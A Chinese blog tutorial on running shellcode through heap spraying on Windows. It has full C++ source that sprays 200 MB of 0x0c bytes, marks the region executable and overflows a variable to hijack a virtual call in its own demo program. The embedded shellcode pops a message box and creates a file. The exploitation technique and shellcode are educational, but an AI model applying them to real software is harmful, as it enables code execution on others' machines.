windows：shellcode 远程线程hook/注入(五)

前面几篇文章介绍了通过APC注入、进程注入、windows窗口处理函数回调、kernercallback回调执行shellcode，今天继续介绍通过heap Spray（翻译成中文叫堆喷射）执行shellcode的方法；

所谓堆喷射，本质上是在堆上分配空间，然后拷贝shellcode到这里执行，思路和之前分享的驱动隐藏（https://www.cnblogs.com/theseventhson/p/13170445.html）方法类似。不一样的地方在于：这里会申请大量空间（业界常见的是200M），填充0x0c（这就是所谓的slide code），然后在空间尾部拷贝shellcode；那么问题来了：

为啥那么要申请200M这么大的空间？

　　我们的shellcode在该空间的尾部，从 “200M-shellcode开头” 这段充满0x0c代码的任意地方开始执行最终都能顺利“滑”shellcode执行，极大增加了shellcode被执行的概率。如果没有slide code，那么必须靳准控制eip挑战到shellcode 的入口，增加了难度；

为啥用0x0c填充，而不是用其他代码填充？

（1）0x0c的代码是or al,0ch；不会影响我们的shellcode；（2）0x0c0c0c0c处的数据被填充成了0c0c0c0c（后面会详解）；如果填充其他数据，会导致程序跳转到错误的地址，最终执行出错；

接下来解读核心代码；

　　1、申请堆内存，填充0x0c，如下spray0：

　　就是在这里，因为spray+buflen远大于0x0c0c0c0c，通过memset把0x0c0c0c0c的内容也改成0x0c0c0c0c；

新手注意：这些变量都是在函数内部生成的局部变量，本身在栈空间，函数一旦结束，空间会被释放；但spray例外，其指向堆空间，0x0c和shellcode都被复制到了堆空间，函数结束后仍然存在，除非手动释放，或则程序结束被操作系统回收；

通过process hacker能查到0x0c成功写入栈空间：

shellcode也写入了：

内存也改成可执行（这里有个坑，后面会详细解释）：

　　2、覆盖虚函数表

　　（1）buflen和factoryObj都在栈空间，相距0x0c=12字节，所以MAGICCODE前面12字节是0，后面8字节才是覆盖factoryObj指针的内容；

　（2）另一个坑：factory* factoryObj = new factory(); 单步调试这行代码时总是出错，windbg提示如下：

0:000:x86> p

(5a78.1780): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

ucrtbased!calloc_base+0xe5d:

7a90bfbd 894204 mov dword ptr [edx+4],eax ds:002b:00f2f024=00000000

从错误提示看，属于Access violation，常见的c0000005类型错误，读写了不该读写的内存（3环exe程序经常会弹出c0000005类型的错误）；从具体出错的位置看，是mov dword ptr [edx+4],eax这行代码造成的，具体涉及的内存地址是ds:002b:00f2f024，那么进一步看看这个地方都存了啥，如下：

0:000:x86> dd 002b:00f2f024

002b:00f2f024 00000000 00000000 00000000 00000001

002b:00f2f034 0c800000 00000047 fdfdfdfd 0c0c0c0c

002b:00f2f044 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

002b:00f2f054 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

002b:00f2f064 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

002b:00f2f074 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

002b:00f2f084 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

002b:00f2f094 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

下面的全是0c，看着好眼熟，这不就是自己填充的slide code么？这段内存不就是自己在spray0里面通过new char申请的么？当时为了执行这段代码，调用virtualProteced函数把内存属性改成了PAGE_EXECUTE, 可执行的问题是解决了，但还要覆盖factoryObj指针了（factoryObj是new出来的，其对象也会被分配在堆空间），同样需要读写权限，只给执行权限显然是不够的，同时也需要读写权限，所以在spray0里面就要这样改了：VirtualProtect(spray, bufLen, PAGE_EXECUTE_READWRITE, &dwOld)，如下：

继续：单步执行完memcpy后，factoryObj被成功改为0c0c0c0c：

继续运行，成功执行shellcode：

exe的目录下也生成了1.txt文件

　　注意：上面的截图并不是一次调试过程中截取的，而是多次，所以同一个变量的地址会不同，但并不影响最终的效果展示；

完整代码：

#include <iostream>

#include <windows.h>
#include <stdio.h>

#define MAGICCODE "000000000000\x0c\x0c\x0c\x0c"//bufLen和factoryObj之间间隔了0xc，所以这里有12个0，从第13位开始才覆盖factoryObj原值

class factory
{
    char m_buf[8] = {0};
public:
    factory() 
    {

    }

    virtual int factoryCreate1()
    {
        printf("%s\n", "factoryInit1");
        return 0;
    }
    virtual int factoryCreate2()
    {
        printf("%s\n", "factoryInit2");
        return 0;
    }
};

/*
*   溢出局部变量，并利用HeapSpray执行自定义的shellcode
*/

void spray1()
{
    factory* factoryObj = new factory();
    unsigned int bufLen = 0xffffffff;
    memcpy(&bufLen, MAGICCODE, sizeof(MAGICCODE) - 1);
    factoryObj->factoryCreate1();
    return;
}

/*
*   申请200M堆空间
*/

void spray0()
{
    unsigned char buf[] = "\xE9\x8B\x01\x00\x00\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x64\xA1\x30\x00\x00\x00\x85\xC0\x78\x0D\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x00\x8B\x40\x10\xC3\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x40\x53\x56\x8B\xD9\x57\x89\x5D\xF4\xE8\xCD\xFF\xFF\xFF\x8B\xF0\x33\xFF\x8B\x56\x3C\x39\x7C\x32\x7C\x75\x07\x33\xFF\xE9\x9C\x00\x00\x00\x8B\x44\x32\x78\x85\xC0\x74\xF1\x8B\x54\x30\x18\x85\xD2\x74\xE9\x8B\x4C\x30\x24\x8B\x5C\x30\x20\x03\xCE\x8B\x44\x30\x1C\x03\xDE\x03\xC6\x89\x4D\xFC\x33\xC9\x89\x45\xF8\x4A\x8B\x04\x8B\x03\xC6\x80\x38\x47\x75\x4E\x80\x78\x01\x65\x75\x48\x80\x78\x02\x74\x75\x42\x80\x78\x03\x50\x75\x3C\x80\x78\x04\x72\x75\x36\x80\x78\x05\x6F\x75\x30\x80\x78\x06\x63\x75\x2A\x80\x78\x07\x41\x75\x24\x80\x78\x08\x64\x75\x1E\x80\x78\x09\x64\x75\x18\x80\x78\x0A\x72\x75\x12\x80\x78\x0B\x65\x75\x0C\x80\x78\x0C\x73\x75\x06\x80\x78\x0D\x73\x74\x07\x41\x3B\xCA\x76\xA3\xEB\x0F\x8B\x45\xFC\x8B\x7D\xF8\x0F\xB7\x04\x48\x8B\x3C\x87\x03\xFE\x8B\x5D\xF4\x8D\x45\xC0\x89\x3B\x50\xC7\x45\xC0\x4C\x6F\x61\x64\xC7\x45\xC4\x4C\x69\x62\x72\xC7\x45\xC8\x61\x72\x79\x41\xC6\x45\xCC\x00\xE8\xF9\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x8D\x4D\xDC\x89\x43\x04\x51\x8D\x4D\xE8\xC7\x45\xE8\x55\x73\x65\x72\x51\xC7\x45\xEC\x33\x32\x2E\x64\x66\xC7\x45\xF0\x6C\x6C\xC6\x45\xF2\x00\xC7\x45\xDC\x4D\x65\x73\x73\xC7\x45\xE0\x61\x67\x65\x42\xC7\x45\xE4\x6F\x78\x41\x00\xFF\xD0\x50\x8B\x03\xFF\xD0\x89\x43\x08\x8D\x45\xD0\x50\xC7\x45\xD0\x43\x72\x65\x61\xC7\x45\xD4\x74\x65\x46\x69\xC7\x45\xD8\x6C\x65\x41\x00\xE8\x94\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x5F\x5E\x89\x43\x0C\x5B\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x24\x8D\x4D\xDC\xE8\x92\xFE\xFF\xFF\x6A\x00\x8D\x45\xFC\xC7\x45\xEC\x48\x65\x6C\x6C\x50\x8D\x45\xEC\x66\xC7\x45\xF0\x6F\x21\x50\x6A\x00\xC6\x45\xF2\x00\xC7\x45\xFC\x54\x69\x70\x00\xFF\x55\xE4\x6A\x00\x6A\x00\x6A\x02\x6A\x00\x6A\x00\x68\x00\x00\x00\x40\x8D\x45\xF4\xC7\x45\xF4\x31\x2E\x74\x78\x50\x66\xC7\x45\xF8\x74\x00\xFF\x55\xE8\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC";
    SIZE_T shellcodeSize = sizeof(buf);
    unsigned int bufLen = 200 * 1024 * 1024;
    DWORD dwOld = 0;
    char* spray = new char[bufLen];
    memset(spray, 0x0c, sizeof(char) * bufLen);
    //memset(spray + bufLen - 0x10, 0xcc, 0x10); //写入自定义的shellcode，即0xcc
    memcpy(spray + bufLen - shellcodeSize+1, buf, shellcodeSize); //写入自定义的shellcode，注意spray + bufLen - shellcodeSize+1地址对齐；
    //VirtualProtect(spray, bufLen, PAGE_EXECUTE, &dwOld); // 设置堆内存可执行代码
    VirtualProtect(spray, bufLen, PAGE_EXECUTE_READWRITE, &dwOld); // 设置堆内存可执行代码
    return;
}


int main()
{
    spray0();
    spray1();
    return 0;
}